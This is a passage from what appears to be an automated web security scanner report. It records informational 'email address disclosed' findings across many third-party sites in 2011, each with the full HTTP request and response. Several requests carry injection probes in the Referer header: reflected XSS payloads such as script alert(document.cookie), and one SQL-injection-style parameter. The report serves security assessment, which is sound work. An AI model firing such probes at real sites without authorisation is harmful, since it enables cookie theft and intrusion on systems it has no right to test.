Date: Sun, 06 Feb 2011 16:11:46 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 04 Feb 2010 10:25:30 GMT
ETag: "7c13c-173-47ec3c115da80"
Accept-Ranges: bytes
Content-Length: 371
Content-Type: text/css

/**
* EXP NewPage (Pligg modules)
* Commercial License
* @package EXP NewPage
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
**/

...[SNIP]...

25.94. http://www.kledy.es/modules/exp_radio/css/expradio.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.es
Path:	/modules/exp_radio/css/expradio.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_radio/css/expradio.css HTTP/1.1
Host: www.kledy.es
Proxy-Connection: keep-alive
Referer: http://www.kledy.es/?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=nloic33gus522qmdpladgr44oef587fc

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:41 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 04 Feb 2010 10:25:34 GMT
ETag: "7c175-f6-47ec3c152e380"
Accept-Ranges: bytes
Content-Length: 246
Content-Type: text/css

/**
* EXP Radio/Video (Pligg modules)
* Commercial License
* @package EXP Radio/Video
* @copyright (C) 2007 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
...[SNIP]...

25.95. http://www.kledy.it/modules/exp_easynews/css/easynews.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.it
Path:	/modules/exp_easynews/css/easynews.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_easynews/css/easynews.css HTTP/1.1
Host: www.kledy.it
Proxy-Connection: keep-alive
Referer: http://www.kledy.it/?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2t3tbrocpue6f7cffnmk3ubt3732emli

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:02 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 04 Feb 2010 09:44:57 GMT
ETag: "768b0-380-47ec330113840"
Accept-Ranges: bytes
Content-Length: 896
Content-Type: text/css

/*
{*
* EXP EasyNews (Pligg Module)
* Commercial License
* @Module EXP EasyNews
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
*}
*/
...[SNIP]...

25.96. http://www.kledy.it/modules/exp_gallery/css/master.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.it
Path:	/modules/exp_gallery/css/master.css

Issue detail

The following email addresses were disclosed in the response:

grusha@feellove.eu
info@exp.ee

Request

GET /modules/exp_gallery/css/master.css HTTP/1.1
Host: www.kledy.it
Proxy-Connection: keep-alive
Referer: http://www.kledy.it/?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2t3tbrocpue6f7cffnmk3ubt3732emli

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:07 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 04 Feb 2010 09:45:01 GMT
ETag: "765c1-2ec-47ec3304e4140"
Accept-Ranges: bytes
Content-Length: 748
Content-Type: text/css

/**
* EXP Gallery (Pligg modules)
* Commercial License
* @package EXP Gallery
* @copyright (C) 2007 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author XrByte <info@exp.ee>, Grusha <grusha@feellove.eu>
...[SNIP]...

25.97. http://www.kledy.it/modules/exp_hotnews/css/exphotnews.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.it
Path:	/modules/exp_hotnews/css/exphotnews.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_hotnews/css/exphotnews.css HTTP/1.1
Host: www.kledy.it
Proxy-Connection: keep-alive
Referer: http://www.kledy.it/?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2t3tbrocpue6f7cffnmk3ubt3732emli

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:02 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 04 Feb 2010 09:45:10 GMT
ETag: "76356-204-47ec330d79580"
Accept-Ranges: bytes
Content-Length: 516
Content-Type: text/css

/**
* EXP NewPage (Pligg modules)
* Commercial License
* @package EXP HotNews
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
**/

...[SNIP]...

25.98. http://www.kledy.it/modules/exp_newpage/css/expnewpage.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.it
Path:	/modules/exp_newpage/css/expnewpage.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_newpage/css/expnewpage.css HTTP/1.1
Host: www.kledy.it
Proxy-Connection: keep-alive
Referer: http://www.kledy.it/?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2t3tbrocpue6f7cffnmk3ubt3732emli

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:07 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 04 Feb 2010 09:45:27 GMT
ETag: "7686b-173-47ec331dafbc0"
Accept-Ranges: bytes
Content-Length: 371
Content-Type: text/css

/**
* EXP NewPage (Pligg modules)
* Commercial License
* @package EXP NewPage
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
**/

...[SNIP]...

25.99. http://www.kledy.it/modules/exp_radio/css/expradio.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.it
Path:	/modules/exp_radio/css/expradio.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_radio/css/expradio.css HTTP/1.1
Host: www.kledy.it
Proxy-Connection: keep-alive
Referer: http://www.kledy.it/?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2t3tbrocpue6f7cffnmk3ubt3732emli

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:03 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 04 Feb 2010 09:45:31 GMT
ETag: "76773-f6-47ec3321804c0"
Accept-Ranges: bytes
Content-Length: 246
Content-Type: text/css

/**
* EXP Radio/Video (Pligg modules)
* Commercial License
* @package EXP Radio/Video
* @copyright (C) 2007 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
...[SNIP]...

25.100. http://www.kledy.us/modules/exp_easynews/css/easynews.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.us
Path:	/modules/exp_easynews/css/easynews.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_easynews/css/easynews.css HTTP/1.1
Host: www.kledy.us
Proxy-Connection: keep-alive
Referer: http://www.kledy.us/?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2u9o7f7bqqp76j1ov4kjqj9927fseqhl

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:44 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 28 Jan 2010 21:23:02 GMT
ETag: "80184-3c1-47e401fb7f980"
Accept-Ranges: bytes
Content-Length: 961
Content-Type: text/css

/*
{*
* EXP EasyNews (Pligg Module)
* Commercial License
* @Module EXP EasyNews
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
...[SNIP]...

25.101. http://www.kledy.us/modules/exp_gallery/css/master.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.us
Path:	/modules/exp_gallery/css/master.css

Issue detail

The following email addresses were disclosed in the response:

grusha@feellove.eu
info@exp.ee

Request

GET /modules/exp_gallery/css/master.css HTTP/1.1
Host: www.kledy.us
Proxy-Connection: keep-alive
Referer: http://www.kledy.us/?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2u9o7f7bqqp76j1ov4kjqj9927fseqhl

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:49 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 28 Jan 2010 21:23:18 GMT
ETag: "80667-320-47e4020ac1d80"
Accept-Ranges: bytes
Content-Length: 800
Content-Type: text/css

/**
* EXP Gallery (Pligg modules)
* Commercial License
* @package EXP Gallery
* @copyright (C) 2007 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author XrByte <info@exp.ee>, Grusha <grusha@feellove.eu>
...[SNIP]...

25.102. http://www.kledy.us/modules/exp_hotnews/css/exphotnews.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.us
Path:	/modules/exp_hotnews/css/exphotnews.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_hotnews/css/exphotnews.css HTTP/1.1
Host: www.kledy.us
Proxy-Connection: keep-alive
Referer: http://www.kledy.us/?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2u9o7f7bqqp76j1ov4kjqj9927fseqhl

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:43 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 28 Jan 2010 21:24:24 GMT
ETag: "802a9-229-47e40249b3200"
Accept-Ranges: bytes
Content-Length: 553
Content-Type: text/css

/**
* EXP NewPage (Pligg modules)
* Commercial License
* @package EXP HotNews
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
...[SNIP]...

25.103. http://www.kledy.us/modules/exp_newpage/css/expnewpage.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.us
Path:	/modules/exp_newpage/css/expnewpage.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_newpage/css/expnewpage.css HTTP/1.1
Host: www.kledy.us
Proxy-Connection: keep-alive
Referer: http://www.kledy.us/?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2u9o7f7bqqp76j1ov4kjqj9927fseqhl

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:49 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 28 Jan 2010 21:25:23 GMT
ETag: "806a9-187-47e40281f76c0"
Accept-Ranges: bytes
Content-Length: 391
Content-Type: text/css

/**
* EXP NewPage (Pligg modules)
* Commercial License
* @package EXP NewPage
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
...[SNIP]...

25.104. http://www.kledy.us/modules/exp_radio/css/expradio.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.us
Path:	/modules/exp_radio/css/expradio.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_radio/css/expradio.css HTTP/1.1
Host: www.kledy.us
Proxy-Connection: keep-alive
Referer: http://www.kledy.us/?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2u9o7f7bqqp76j1ov4kjqj9927fseqhl

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:44 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 28 Jan 2010 21:25:34 GMT
ETag: "806e2-102-47e4028c74f80"
Accept-Ranges: bytes
Content-Length: 258
Content-Type: text/css

/**
* EXP Radio/Video (Pligg modules)
* Commercial License
* @package EXP Radio/Video
* @copyright (C) 2007 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
...[SNIP]...

25.105. http://www.klivio.com/modules/exp_hotnews/css/exphotnews.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.klivio.com
Path:	/modules/exp_hotnews/css/exphotnews.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_hotnews/css/exphotnews.css HTTP/1.1
Host: www.klivio.com
Proxy-Connection: keep-alive
Referer: http://www.klivio.com/?34aa6%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3Eceac919ade3=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=alkg6c431sk4tnfptcdkh0munltodn44

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:22 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Tue, 30 Nov 2010 18:01:03 GMT
ETag: "c80f8-204-49648f8cf75c0"
Accept-Ranges: bytes
Content-Length: 516
Content-Type: text/css

/**
* EXP NewPage (Pligg modules)
* Commercial License
* @package EXP HotNews
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
**/

...[SNIP]...

25.106. http://www.klivio.com/modules/exp_radio/css/expradio.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.klivio.com
Path:	/modules/exp_radio/css/expradio.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_radio/css/expradio.css HTTP/1.1
Host: www.klivio.com
Proxy-Connection: keep-alive
Referer: http://www.klivio.com/?34aa6%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3Eceac919ade3=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=alkg6c431sk4tnfptcdkh0munltodn44

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:22 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Tue, 30 Nov 2010 18:01:26 GMT
ETag: "c8171-f6-49648fa2e6980"
Accept-Ranges: bytes
Content-Length: 246
Content-Type: text/css

/**
* EXP Radio/Video (Pligg modules)
* Commercial License
* @package EXP Radio/Video
* @copyright (C) 2007 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
...[SNIP]...

25.107. http://www.linuxsecurity.com/templates/LSv3-0.1-Front/jscript/prototype.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linuxsecurity.com
Path:	/templates/LSv3-0.1-Front/jscript/prototype.js

Issue detail

The following email address was disclosed in the response:

sam@conio.net

Request

GET /templates/LSv3-0.1-Front/jscript/prototype.js HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:44 GMT
Server: Apache
Last-Modified: Mon, 21 Aug 2006 16:57:17 GMT
ETag: "20440a7-b9f3-41b8a00a39540"
Accept-Ranges: bytes
Content-Length: 47603
Content-Type: application/javascript

/* Prototype JavaScript framework, version 1.4.0
* (c) 2005 Sam Stephenson <sam@conio.net>
*
* THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff
* against the source tree
...[SNIP]...

25.108. http://www.macports.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.macports.org
Path:	/

Issue detail

The following email addresses were disclosed in the response:

jmpp@macports.org
mij@macports.org
sfiera@macports.org

Request

GET / HTTP/1.1
Host: www.macports.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:06:47 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/1.0.0c DAV/2 mod_python/3.3.1 Python/2.6.6 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 8329

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">

...[SNIP]...
<meta name="author" content="Jim Mock (mij@macports.org)" />
<meta name="author" content="Juan Manuel Palacios (jmpp@macports.org)" />
<meta name="author" content="Chris Pickel (sfiera@macports.org)" />
...[SNIP]...

25.109. http://www.manualsonline.com/privacy.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.manualsonline.com
Path:	/privacy.html

Issue detail

The following email addresses were disclosed in the response:

sales@owneriq.net
webmaster@manualsonline.com
webmaster@owneriq.com

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:37 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 23:02:37 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 78463

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<a href="mailto:webmaster@owneriq.com">webmaster@owneriq.com</a>
...[SNIP]...
<a href="mailto:webmaster@owneriq.com">webmaster@owneriq.com
</a>
...[SNIP]...
<a href="mailto:webmaster@owneriq.com">webmaster@owneriq.com</a>
...[SNIP]...
<a href="mailto:webmaster@owneriq.com">webmaster@owneriq.com</a>
...[SNIP]...
<a href="mailto:webmaster@owneriq.com">webmaster@owneriq.com</a>
...[SNIP]...
<a href="mailto:webmaster@owneriq.com">webmaster@owneriq.com</a>
...[SNIP]...
<a href="mailto:webmaster@owneriq.com">webmaster@owneriq.com</a>
...[SNIP]...
<a href="mailto:webmaster@manualsonline.com">webmaster@manualsonline.com</a> |
<a title="Advertise in the OwnerIQ Network" href="mailto:sales@owneriq.net?subject=Advertising+Request" rel="nofollow">
...[SNIP]...

25.110. http://www.manualsonline.com/tc.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.manualsonline.com
Path:	/tc.html

Issue detail

The following email addresses were disclosed in the response:

sales@owneriq.net
webmaster@manualsonline.com
webmaster@owneriq.com

Request

Response

25.111. http://www.networksimplicity.com/openssh/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.networksimplicity.com
Path:	/openssh/

Issue detail

The following email address was disclosed in the response:

mark@networksimplicity.com

Request

GET /openssh/ HTTP/1.1
Host: www.networksimplicity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:07:22 GMT
Server: Apache/2
Last-Modified: Fri, 21 Jan 2011 21:12:16 GMT
ETag: "3a686ae-7592-49a61b4670c00"
Accept-Ranges: bytes
Content-Length: 30098
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html

<HTML>
<HEAD>
<TITLE>OpenSSH on Windows</TITLE>

<META Name="author" Content="Mark Bradshaw/Network Simplicity">
<META Name="description" Content="OpenSSH on Windows">
<META Name="keywords" Cont
...[SNIP]...
<A class=nav HREF="mailto:mark@networksimplicity.com">
...[SNIP]...

25.112. http://www.nmworkwear.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nmworkwear.de
Path:	/

Issue detail

The following email address was disclosed in the response:

xx@xx.com

Request

GET / HTTP/1.1
Host: www.nmworkwear.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:18 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.17
Set-Cookie: XTCsid=ekde4uf6o3m1pae1sfc1dc4f16; path=/; domain=.nmworkwear.de
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 38134

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="de">
<head>
<ti
...[SNIP]...
<meta name="reply-to" content="xx@xx.com" />
...[SNIP]...

25.113. http://www.nmworkwear.de/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nmworkwear.de
Path:	/index.php

Issue detail

The following email address was disclosed in the response:

xx@xx.com

Request

GET /index.php HTTP/1.1
Host: www.nmworkwear.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:33:54 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.17
Set-Cookie: XTCsid=3ugqie5obq0npitc2bvsin2tr7; path=/; domain=.nmworkwear.de
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 38158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="de">
<head>
<ti
...[SNIP]...
<meta name="reply-to" content="xx@xx.com" />
...[SNIP]...

25.114. http://www.ntp.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ntp.org
Path:	/

Issue detail

The following email address was disclosed in the response:

webmaster@ntp.org

Request

GET / HTTP/1.1
Host: www.ntp.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:07:06 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 8145

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd::">
<html xmlns="http://www.w3.org/1
...[SNIP]...
<meta name="Author" content="NTP Webmaster, webmaster@ntp.org" />
...[SNIP]...
<a href="mailto:webmaster@ntp.org">
...[SNIP]...
<a href="mailto:webmaster@ntp.org" class="footerlink">webmaster@ntp.org</a>
...[SNIP]...

25.115. http://www.oit.gatech.edu/service/software-distribution/software-distribution previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.oit.gatech.edu
Path:	/service/software-distribution/software-distribution

Issue detail

The following email address was disclosed in the response:

juliebeth.golden@oit.gatech.edu

Request

Response

25.116. http://www.opensource.org/licenses previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.opensource.org
Path:	/licenses

Issue detail

The following email addresses were disclosed in the response:

osi@opensource.org
webmaster@opensource.org

Request

GET /licenses HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.117. http://www.opensource.org/licenses/gpl-license.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.opensource.org
Path:	/licenses/gpl-license.php

Issue detail

The following email addresses were disclosed in the response:

osi@opensource.org
webmaster@opensource.org

Request

GET /licenses/gpl-license.php HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.118. http://www.opensource.org/licenses/mit-license.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.opensource.org
Path:	/licenses/mit-license.php

Issue detail

The following email addresses were disclosed in the response:

osi@opensource.org
webmaster@opensource.org

Request

